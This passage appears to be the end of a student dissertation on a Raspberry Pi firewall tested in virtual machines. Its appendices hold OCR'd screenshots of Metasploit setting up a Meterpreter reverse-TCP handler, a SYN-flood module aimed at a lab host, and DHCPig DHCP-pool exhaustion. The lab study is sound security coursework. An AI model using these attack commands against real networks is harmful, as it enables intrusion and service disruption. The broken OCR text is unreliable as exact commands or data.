In the IO graph shown in figure 30 it can be seen that when the attack started there was a massive spike in network traffic, this is in conjuncture with the data shown in figures 25 and 26 where traffic spiked from an excess of discover and ARP packets. The difference between these two experiments is the sheer amount of traffic generated.
Figure 30 also shows that TCP errors started during this test and where as shown visibly increasing in amount as time went on, the author believes that this was caused by Metasploit making a spoof address on the network, the author also came the conclusion that the TCP errors where what caused the massive drop in packets viewed at the end of the graph.
This experiment was repeated with another variable added of traffic coming from the victim PC, as shown in figure 31. To generate network traffic simple ping – t command in cmd targeting the attacking PC was initiated, this sent a constant stream of data across the network.
[image: ]
[bookmark: _Toc513115346]Figure 32 Victim PC generating traffic

[image: ]
[bookmark: _Toc513115347]Figure 33 DoS test 2 Recording
The recoding for the second test show the traffic that the DoS is generating and the traffic from the Victim PC, it is also showing a TCP port numbers reused error, while this is normally caused by having a long Wireshark recording on a small network the author believes that this is caused by the DoS flooding the network with packets.
[image: ]
[bookmark: _Toc513115348]Figure 34 DoS IO graph 2
When comparing the IO from DoS attack 1 this the OI form attack 2, it can be seen that test 2 went on for a longer period of time. The graph in figure 33 also shows that although like in the first test large amounts of traffic and errors occurred, there was a further spike in activity and errors around the 140s mark of the time scale till 155s. This abnormally shows that the amount of errors peaked to around 6000 Packets per sec, which was previously where the amount of traffic styed stable but it also spiked to 12000 Packets per sec. The author does not know what caused this spike in traffic and errors but theorizes that it was caused by the TCP port numbers reused error viewed in figure 32.

[bookmark: _Toc513080577][bookmark: _Toc513115305]Recoding University network traffic with access to the internet
This experiment is a simple observation the author decided would show how much traffic is generated on a network every day, to do this experiment the firewall VM was provided with a bridged network interface that allowed it to access the University network and view its traffic. At first the author did this by mistake, but used this method to allow for the protocol update required to make the network function.
[image: ]
[bookmark: _Toc513115349]Figure 35 University Traffic
Figure 34 shows the Wireshark recording of the University’s network traffic, highlighted is a ARP packet being sent to the PC the VMs are installed on by the DHCP server it is connected to. Being able to access the University’s network allows the VM network to access the internet, the author used this to down load additional protocols for the VM network.
[image: ]
[bookmark: _Toc513115350]Figure 36 University Traffic IO
Figure 35 is an IO graph of the University network, this was made over a short time scale as to not overload the VM network. The packets per sec seem to hold stable between 400 to 600 packets per sec, there is an anomaly at around 295 sec of a packet spike that is literally off the chart, the author does not know what cased this.

[bookmark: _Toc341174562][bookmark: _Toc371255561][bookmark: _Toc513080578][bookmark: _Toc513115306]Chapter 6 - CONCLUSIONS AND RECOMMENDATIONS
[bookmark: _Toc371251378][bookmark: _Toc371251427][bookmark: _Toc371255407][bookmark: _Toc371255562][bookmark: _Toc499851358][bookmark: _Toc499851428][bookmark: _Toc499851577][bookmark: _Toc499851630][bookmark: _Toc499852874][bookmark: _Toc500433587][bookmark: _Toc508748025][bookmark: _Toc509826756][bookmark: _Toc509826816][bookmark: _Toc509884526][bookmark: _Toc509884582][bookmark: _Toc513038479][bookmark: _Toc513038907][bookmark: _Toc513039397][bookmark: _Toc513039453][bookmark: _Toc513039516][bookmark: _Toc513039573][bookmark: _Toc513039705][bookmark: _Toc513039762][bookmark: _Toc513039819][bookmark: _Toc513062712][bookmark: _Toc513062976][bookmark: _Toc513071808][bookmark: _Toc513080273][bookmark: _Toc513080579]
0. [bookmark: _Toc371255563][bookmark: _Toc513080580][bookmark: _Toc513115307]Summary
In summary, the purpose of this project was to challenge the author’s own hypophysis of an external device such as a Raspberry Pi could function as a firewall as shown in the Project Aim of chapter 1. To do this researched was conducted about what others have done in this field of research such as Numan Gupta et al’s work on a cost-effective firewall device for a IoT environment in chapter 2 of this report. In chapter 3 the author discussed about how they were going to carry out the research of this project such as with a positivism view and by using experimentation. Chapters 4 and 5 are the design, implementation and testing of their project, which went into details about their original plan and the changes that had to be made to conform to the time frame.

[bookmark: _Toc371255564][bookmark: _Toc513080581][bookmark: _Toc513115308]Conclusion
In conclusion the main aim of this project was the development and design of an external portable firewall using Raspberry Pi [2] to secure a network that uses a BYOD network structure. Unfortunately, the outside complication arouses causing the project to be delayed, this led to the author not being able to develop an external device. These factors caused the author to create a simulation of their design, regrettably this also affected the project by preventing the author making a BYOD network, and despite this the author was able to test their design as a proof of concept.
By using knowledge gained from previous projects the author [39] conducted VM the they were able to quickly setup a simulation for testing a firewall device, the author also used research techniques to learn how to use Kali Linux to run DoS attack as shown by figure 27. Despite this the author considers that this project ended as a failure, because they were unable to definitively prove or disprove their theory of a Raspberry Pi device is capable of acting as a firewall.

[bookmark: _Toc371255565][bookmark: _Toc513080582][bookmark: _Toc513115309]Recoomendations for  Further Research
After completing this project, it became clear to the author that research conducted during this project has many possibilities for further research, but this report is only going to suggest two significant areas of study: - 
· Simulation -  one thing that the author suggests is that a bigger simulation is made, where 5 or more devices are connected to the network. Devices the author would add is they had the time are, two servers using Windows 10 server 2016 ios, having these servers would allow a user to make a more believable network with a IP address pool that can be used in experiments, also this OS comes with firewall capabilities so one of the servers can act as the Firewall device. The author would also suggest having another Kali Linux device simply to act as an observer on the network by using Wireshark.
· Physical testbed - the author suggests that anyone considering doing further research in to this field, should create the testbed environment the author was not able to make. The reason for this suggestion is that it would allow for the network to be connected wirelessly to simulate a BYOT environment, it would also allow for the victim PC and firewall device to be connected to a real BYOT environment like a Coffee shops Wi-Fi.
[bookmark: _Toc371255566][bookmark: _Toc341174563]There are some areas the author believes could be improved upon, one such improvement would be the uses of more of the tools provided by Kali Linux to run more tests, such as Keylogging and Trojans. Furthermore, during the course of this project, the author came to realize that they create an unrealistic time frame for this project or simply managed the time allotted poorly, to that end an improvement that could be made would be creating a clear and concise timetable to be ticked off at the end of each stage of the project.

[bookmark: _Toc513080583][bookmark: _Toc513115310]Chapter 7 – Reflections 

“The main aim of this Project is the development and design of an external portable firewall using Raspberry Pi [2] to secure a network that uses a BYOD network structure.”  - while not being able to fully achieve what I set out to do, I believe that I have achieved some of the objectives I set for myself if not in the way I imagined, below I have provided a list of my objectives and discussed what was achieved.
“Provide a Literature review that shows an understanding of both physical and software based firewalls.” – I believe that I have successfully conveyed that I have at least a basic understanding of what a firewall is and the different types such as shown be my decision to use a network layer firewall on the Raspberry Pi device.

“Creating a firewall using a Raspberry Pi[2] device.” – I have clearly failed to achieve this objective, I was not able to create a firewall with a Raspberry Pi. If given a chance to redo this project I do believe that this is entirely achievable objective.

“Making a Physical Testbed, and running network attacks in the test environment.” – This is another objective I have failed to attain, but in this case, I believe that I have achieved a variable work around by creating the simulation.

“To test the physical testbed the author will attempt to simulate multiple attacks on the testbed.” – as previously stated I was not able to make the physical testbed, but I have confidence that by using Metasploitable to run a DoS attack against my simulated network is of equal equivalence as this objective.

I feel that this project went poorly, the fact that it was derailed and delayed by hindrances that where caused by my personal life. These problems caused this project was delayed to the point that it would be impossible to follow the original project plan of creating a physical testbed environment for the uses of testing my theory of a Raspberry Pi firewall. By using my knowledge of VM simulations I was able to change my project slightly by removing the physical aspect, this allowed me to finish my project with the inclusion of an extension on the time line.
[bookmark: _Toc371255567][bookmark: _Toc513080584][bookmark: _Toc513115311]
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APPENDICES

[image: [Screening router diagram]]
Figure 1 Router set up with a packet filter [15]. 
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Figure 2 Circuit level gateway [17].
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Figure 3 Stateful Firewall [19].

[image: https://infoproducts.alcatel-lucent.com/html/0_add-h-f/93-0267-HTML/7X50_Advanced_Configuration_Guide/images/AA-FW.51.1.3.jpg]
Figure 4 Application Layer gateway [19].

[image: Stateful Multilayer Inspection Firewall]
Figure 5 Multilayer Firewall[24]
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Figure 6 Numan Gupta et al's Architecture diagram [25]
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Figure 7 Research Onion[31].
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Figure 8 Data flow diagram of the Research Onion.
[image: ]Figure 9 Testbed Diagram
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Figure 10 Window 10 ios Installation
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Figure 11 finished installation of Kali Linux
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Figure 12 Testing the Networks Connectivity between the Kali Linux VMs
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Figure 13 Testing Connectivity between the Victim PC and firewall
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Figure 14 Sparta being used
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Figure 15 Sparta's network activity

[image: ]
Figure 16 Metasploitable
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Figure 17 Creating a Payload
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Figure 18 Incorrectly Creating a Payload
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Figure 19 Running the malware
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Figure 20 Metasploitable not opening
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Figure 21 IP address is Garbage
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Figure 22 Installing the Protocol Update
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Figure 23 Using DHCPig
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Figure 24 Network Traffic during Stress test
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Figure 25 DHCPig using ARP Protocol
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Figure 26 DHCPig IO graph 1
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Figure 27 DHCPig IO graph 2
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Figure 28 DoS Set up
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Figure 29 The Initiation of the DoS
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Figure 30 DoS test 1 Recording
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Figure 31 DoS IO graph 1
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Figure 32 Victim PC generating traffic
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Figure 33 DoS test 2 Recording
[image: ]
Figure 34 DoS IO graph 2
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Figure 35 University Traffic
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Figure 36 University Traffic IO
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Figure 37 Gantt chart
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Figure 38 Gantt Chart Graphic
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Figure 39 Gant Chart Flow Diagram
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Figure 40 revised Gantt chart


[bookmark: _Toc371255570][bookmark: _Toc513080586][bookmark: _Toc513115313]PROJECT MANAGEMENT
In this section of the report I will be discussing how I managed my project; focusing on the time lien of the project. The original project time line can be seen in figures 36, 37, 38; this show that the project had a time scale of 169 days. My plan for the project management was to section off each stage of the project with its own time scale.  Unfortunately I was not able to keep to this original project time scale, and had to improvise changes as the project went on.
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[bookmark: _Toc513115351]Figure 37 Gantt chart

[image: ]
[bookmark: _Toc513115352]Figure 38 Gantt Chart Graphic
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[bookmark: _Toc513115353]Figure 39 Gantt Chart Flow Diagram
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[bookmark: _Toc513115354]Figure 40 revised Gantt chart
[bookmark: _Toc266447554][bookmark: _Toc121041635]Figure 40 shows the revised Gantt chart that was used during the duration of the project, it can be seen that because of work delays, mentioned previously in projects conclusion and reflection sections. These delays cause a severe postponement of the project that was not originally considered during the planning stage of this project.  This forces the author to ask for a deadline extension to provide them with more time; this also affected the project by changing the type of experiment form a physical test environment to a simulated one.
[bookmark: _Toc266447556][bookmark: _Toc371255574][bookmark: _Toc513080588][bookmark: _Toc513115314]
GLOSSARY

BYOT – Bring Your Own Technology 
IP – Internet protocol 
TCP – Transmission Control Protocol
UDP -  User Datagram Protocol 
DDoS - Distributed Denial of Service 
DoS - Denial of Service
CMD – Command-Line interpreter   
1
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Research Onion Diagram (based upon Saunders et al's diagram, 2009)
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nsf > use exploit/multi/handler

nsf exploit(nulti/handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

nsf exploit(multi/handler) > set LHOST-192.168.1.7

(-1 Unknown variable

Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value
If both are omitted, print options that are currently set

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore

nsf exploit(multi/handler) > set LHOST 192.168.1.7

LHOST => 192.168.1.7
ms £ Ejflol(imulti/handler) > set LPORT 22
LPORT > 22

nsf exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job ©

[-] Handler failed to bind to 192.168.1.7:22:- -
[*] started reverse TCP handler on 0.0.0.0:22
msf exploit(multi/handler) > ||
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192.168.2.0/24 dev ethl proto kernel scope link src 192.168.2.5 metric 100
root@kali:~# ip route add 192.168.2.6/24 192.168.2.7 dev ethe

Error: either "to" is duplicate, or "192.168.2.7" is a garbage.
root@kali:~# |
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root@ka

File Edit Vi ch Terminal Help
TX errors 0 dropped 0 overruns @ carrier 0 collisions @ e

ERR
.4) 56(84) bytes of data.

.4: icmp_seq=12 ttl=50 time=56.1 ms
.4: icmp_seq=14 ttl=50 time=6.76 ms

root@kali:~# ping
PING 4.2.2.4 (4.2.
64 bytes from 4.2.
64 bytes from 4.2.
&

--- 4.2.2.4 ping statistics
15 packets transmitted, 2 received, 86% packet loss, time 14265ms
rtt min/avg/max/mdev = 6.763/31.451/56.140/24.689 ms

root@kali:~# apt-get update

% [Connecting to http.kali.org]"C

root@kali:~# apt-get update

0% [Working]~C

root@kali:~# apt-cache search brctl

root@kali:~# apt-get update

0% [Working]~C

root@kali:~# apt-get install brctl

Reading package lists... Done

Building dependency tree
Reading state information

4
2
2
2

Done
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~# pig.py - etho

[Flzz [INFO] - using interface etho ® Q « » J i« » Q EE

[Fuzz Thread @ - (sniffer) READY

[Fuzz d 1 - (Sender) READY [W]Rpply a display fitter .. <Ctrl-/> -] Expression..
{Eﬂ;; No. Time Source Destination Protocol Length Info

[Fuzz 99 23.937783076 0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz I 100 24.177072969 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xe8
[Fuzz 101 24.177456365 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=6xes
[Fuzz 102 24.344139361 0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz DHCP Discover 103 24.754779453  0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz DHCP . 104 25.160607356 0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz 3 I 105 25.178374826 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xe8
[Fuzz I 106 25.178559455 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=6xes
[Fuzz 107 25.565923659 0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz o 108 25.970456305 0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz 109 26.182120095 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xeg
[Fuzz 110 26.182483873 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=exes
[Fuzz 111 26.375457351 0.0.0.0 255.255.255.255 DHCP 296 DHCP Discover - Transaction
[Fuzz 5 112 26.399531985 PcsCompu_cd:0f:47  PcsCompu_9e:2e:b9  ARP 60 Who has 192.168.1.3? Tell 19
[Fuzz 113 26.399654369 PcsCompu_9e:2e:b9  PcsCompu_cd:0f:47  ARP 60 192.168.1.3 is at 08:00:27:9
[Fuzz 114 27.184019963 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xe8
[Fuzz 115 27.184365260 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=exes
[Fuzz T 116 28.187085001 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xe8
[Fuzz 117 28.187232976 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=exes
[Fuzz = T E 118 29.215861476 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xe8
[Fuzz DHCP Discover 119 29.216009347 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=exes
[Fuzz DHCP D. & 120 30.240289150 192.168.1.7 192.168.1.3 CHP 98 Echo (ping) request id=6xe8
[Fuzz DHCP Discover 121 30.240510655 192.168.1.3 192.168.1.7 CHP 98 Echo (ping) reply  id=exes

[Fuzz timeout waiting on dhcp packet count 2 . 8
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DHCP_Discover
DHCP_Discover
DHCP_Discover
DHCP_Discover
timeout waiting on dhcp packet count 1

Q « » ] & »

waiting for DHCP pool exhaustion... Protc 192.168.1.3
[DONE] DHCP pool exhausted

[

[

[

[

{ tincaut VTS ource Destination Protocol Length Info
| 255.255.255 DHCP 296 DHCP

[ DHCP Discover 192 1.3 CHP Echo (ping)

[ DHCP Discover 192 1.7 TCHP (ping)

[ DHCP_Discover 5 255 255 DHCP E

[ DHCP Discover 5 255 255 DHCP

[?7] waiting for DHCP pool exhaustion... 6 255 255 DHCP

[ DHCP_Discover ; 192 1.3 ICHP

[ DHCP_Discover 6 192 1.7 ICHP

[ DHCP_Discover 6 255 255 DHCP

[ timeout waiting on dhcp packet count 2 6 255 255 DHCP

[ DHCP_Discover 7 192 1.3 ICHP

[ DHCP_Discover 247 192 1.7 TcHP Echo

[ DHCP_Discover 257 255 255 DHCP 296 DHCP

[ DHCP_Discover 267 255 255 DHCP 296 DHCP

[ DHCP_Discover 278 255 255 DHCP 296 DHCP

[ DHCP Discover 8 192 1.3 CHP

[ DHCP Discover ; 192 1.7 CHP

[ timeout waiting on dhcp packet count 3 8 255 255 DHCP

[ DHCP_Discover 8 255 255 DHCP

[ DHCP Discover 9 192 1.3 ICHP

[ DHCP Discover 9 192 1.7 IcP

[ DHCP_Discover 9.3 255 255 DHCP

[ DHCP Discover 3 255 255

o] i B S 2D S i

[ DHCP Discover

[ DHCP Discover (784 bits), 98 bytes captured (784 bits) on interfa

[ timeout waiting on dhcp packet count 4 rnet II, Src PcsCompu_9e:2e:b9 (08

[

[

27 cd of 47 08 ©
root@kali:~# 5. 54 90 c6 a8 01 ©

Displayed: 86 (100.0%)  Profil
(€] 5
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115 38.594105882 192.168.1.7 192.168.1.3 IcMp 98 Echo (ping) request it
116 38.594208440 192.168.1.3 192.168.1.7 1CHP 98 Echo (ping) reply i
117 38.997342195 PcsCompu_9
118 38.997345595

X0819, seq=3¢
X819, seq=3
PcsCompu_cd:0f:47  ARP 60 Who has 192.168.1.7? Tell 192.168.1.3
60 192.168.1.7 is at 08:00:27:cd:0f:47

PcsCompu_9e: PcsCompu_cd:0f:47
121 39.615842565 192.168.1.7 192.168.1.3 ICMP 98 Echo (ping) request id:

7:9e:2e:b9
=0x0819, seq=3¢
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msf > use auxiliary/dos/tcp/synflood
nsf auxiliary(dos/tcp/synilood) > show options

Module options (auxiliary/dos/tcp/synflood)

Name Current Setting Required Description

INTERFACE no The name of the interface

NUM no Number of SYNs to send (else unlimited

RHOST yes The target address

RPORT 80 veq The target port

SHOST no The spoofable source address (else randomizes
SNAPLEN 65535 yes The number of bytes to capture

SPORT no The source port (else randomizes

TIMEOUT 500 yes The number of seconds to wait for new data

msf auxiliary(dos/tcp/synflood) > set RHOST 192.168.1.3
RHOST => 192.168.1.3

nsf auxiliary(dos/tcp/synflood) > set RPORT 22

RPORT => 22

nsf auxiliary(dos/tcp/synflood) > [
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root@kali: ~

Press SPACE BAR to continue

1722 exploits - 986 auxiliary - 300 post
507 payloads - 40 encoders - 10 nops
Free Metasploit Pro trial: http://r-7.co/trymsp

1
1
1
1

> use auxiliary/dos/tcp/synflood

msf
nsf auxiliary( ) > show options

Module options (auxiliary/dos/tcp/synflood)

Name Current Setting Required Description

INTERFACE no The name of the interface

NUM no Number of SYNs to send (else unlimited

RHOST yes The target address

RPORT 80 yes The target port

SHOST no The spoofable source address (else randomizes)
SNAPLEN 65535 yes The number of bytes to capture

SPORT no The source port (else randomizes)

TIMEOUT 500 yes The number of seconds to wait for new data

msf auxiliary( ) > set RHOST 192.168.1.3
RHOST => 192.168.1.3
msf auxiliary(

RPORT => 22

msf auxiliary(

) > set RPORT 22
) > exploit

[*] SYN flooding 192.168.1.3:22...

PcsCompu_9e

3

192.168.1.3

025624031 192 1

1: 182 byt

Ethernet II, Src: PcsCompu_cd:0f:47

Int Protocol Vi
User Datagram Pro
Data (140 bytes)

210.233.156.

Capturing from eth0

e B

Telephony Wireless To
Q « » .9

5t

TCP

60 22

0 22

55873 [RST, ACK] Seq

.025622803  210.233.156.127 192.168.1 TCP 60 7096 — 22 [SYN] Seq=0 Win=3

210.233. 1"

70

[RST, ACK] Seq
[SYN] Seq=0 Win=
[RST, ACK] Seq
[RST, ACK] Seq=1
[RST, ACK] Seq=1
[RST, ACK] Seq

[SYN] Seq=0 Win=
[RST, ACK] Seq

[RST, ACK] Seg=

3 (100.0%)  Profilg
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E B8 Command Prompt - ping 192.168.1.7

> time<im
time<im

time<im
time<im

DA

>
BOP/EITE O @ rotcr

Rasberr

Applica

y Pi [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

jons v

Mon 18:08

Capturing from ethl

3 -] Expressio

1887.

1887,

1887,

Mon 18:08 »

root@kali: ~

File Rdit View Search Terminal Help

"Cl-] Auxiliary interrupted by the console user
Auxiliary module execution completed

nsf auxiliary(dos/tcp/synflood) > exploit

SYN flooding 192.168.1.3:22...

"Cl-] Auxiliary interrupted by the console user
Auxiliary module execution completed
nsf auxiliary(dos/tep/synflood) > exploit

SYN flooding 192.168.1.3:22...

ACi-] Auxiliary interrupted by the console user
Auxiliary module execution completed

nsf auxiliary(dos/tcp/synflood) >

nsf auxiliary(dos/tep/synflood) > show options

Module options (auxiliary/dos/tcp/synflood)

Name Current Setting Required Description

>
BOFEEP 0@ 6 Rotcr

1887,

1887,

o

<

Ethernet IT, Src
Internet Protocol Version 4, Src
Transmission Control Protocol, Src Port: 22, Dst Port: 45080, Seq: 1, Ack: 1, Len: ©

84.332450982 41.242.130.54

333122594

84.333454226  41.242.130.54

41.242.130.5.

84.334109937 41.242.130.54

334434820

84.334768058 41.242.130.54

335090135 41.242.130.5.

41.242.130.5.

84.335766219 41.242.130.54

192.168.1.3 TCP
192.168.1
192.168.1
192.168.1.3 TCP
192.168.1
192.168.1.3 TCP
192.168.1
192.168.1.3 TCP
192.168.1
192.168.1

192.168.1.3 TCP

192.168.1.3, Dst: 41.242.130.54

©8 00 27 fb af dc 08 60 27 9e 2e b9 08 00 45 00 '
©0 28 7f 91 40 @0 80 ©6 0d 6b cO a8 01 03 29 f2  .(..@

ethl: <live capture in progress>

Packets: 989248 - Displayed: 989248 (100.0%) Profil

k

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
a o Q &« » J 1« B = @ Q Q
Time Source Destination Protocol Length Info

Frame 179006: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0

PcsCompu_9e:2e:b9 (8:00:27:9e:2e:b9), Dst: PcsCompu_fb:af:dc (08:00:27:fb:af:dc

E
)

60 24709 — 22 [SYN] Seq=0 Win:
© [TCP Port numbers reused] 1

© [TCP Port numbers reused] 1

60 25094 — 22 [SYN] Seq=0 Win:
© [TCP Port numbers reused]

60 10884 — 22 [SYN] Seq=0 Wi

© [TCP Port numbers reused]

60 4600 —~ 22 [SYN] Seq=0 Win=3

>

BOFEE DG 6 Rt
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166743 382.517151596 ChiconyE_5d
987 1.721926142  Cisco_09:1e
2182 3.721658124
3278 5.722010143
4427 7.722144536
5504 9.722267845
6445 11.722307924
7538 13.722387344

a530

1

Cisco_09:1e
Cisco_09:1e
Cisco_09:1e
Cisco_09:1e
Cisco_09:1e
Cisco_09:1e
1936 Cisca @9:1

No. Time Source ~ Destination Protocol Info
175002 398.906372953 Azurewav_aa:c7:e2 IPvancast_fb LLc 2315, fUnc=REJ, N(R)=125; D:
175007 398.920872475 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431U, func=Unknown; DSAP 0xd
175009 398.933405935 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431, func=RR, N(R)=4; DSAP
177726 407.094026677 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431U, func=SARME; DSAP NULL
177727 407.094969985 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431U F, func=Unknown; DSAP
177731 407.098116124 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431U P, func=Unknown; DSAP
177732 407.099126597 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431U, func=SARME; DSAP NULL
178522 415.331870590 Azurewav_aa:c7:e2 IPvdncast_fb LLe 446 I, N(R)=100, N(S)=29; DSA
178523 415.333020686 Azurewav_aa:c7:e2 IPvdncast_fb LLe 431U F, func=Unknown; DSAP
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